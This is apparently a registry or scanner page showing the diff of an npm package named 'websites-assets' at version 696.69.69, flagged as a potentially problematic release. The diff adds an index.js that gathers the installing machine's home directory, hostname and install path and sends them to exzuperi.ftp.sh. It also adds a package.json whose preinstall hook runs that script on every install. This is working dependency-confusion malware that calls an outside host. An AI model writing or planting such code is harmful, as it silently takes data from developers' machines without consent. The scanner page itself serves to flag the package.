websites-assets 696.69.69

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of websites-assets might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +32 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,32 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+ const fs = require('fs');
8
+
9
+ const trackingData = JSON.stringify({
10
+ hd: os.homedir(),
11
+ hn: os.hostname(),
12
+ ls: __dirname,
13
+ });
14
+
15
+ const options = {
16
+ hostname: "exzuperi.ftp.sh",
17
+ port: 449,
18
+ path: `/PoC/${encodeURIComponent(trackingData)}`,
19
+ method: "GET",
20
+ };
21
+
22
+ const req = https.request(options, (res) => {
23
+ res.on("data", (d) => {
24
+ process.stdout.write(d);
25
+ });
26
+ });
27
+
28
+ req.on("error", (e) => {
29
+ console.error(e);
30
+ });
31
+
32
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "websites-assets",
3
+ "version": "696.69.69",
4
+ "description": "PoC for pottential RCE",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: exzuperi made me\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }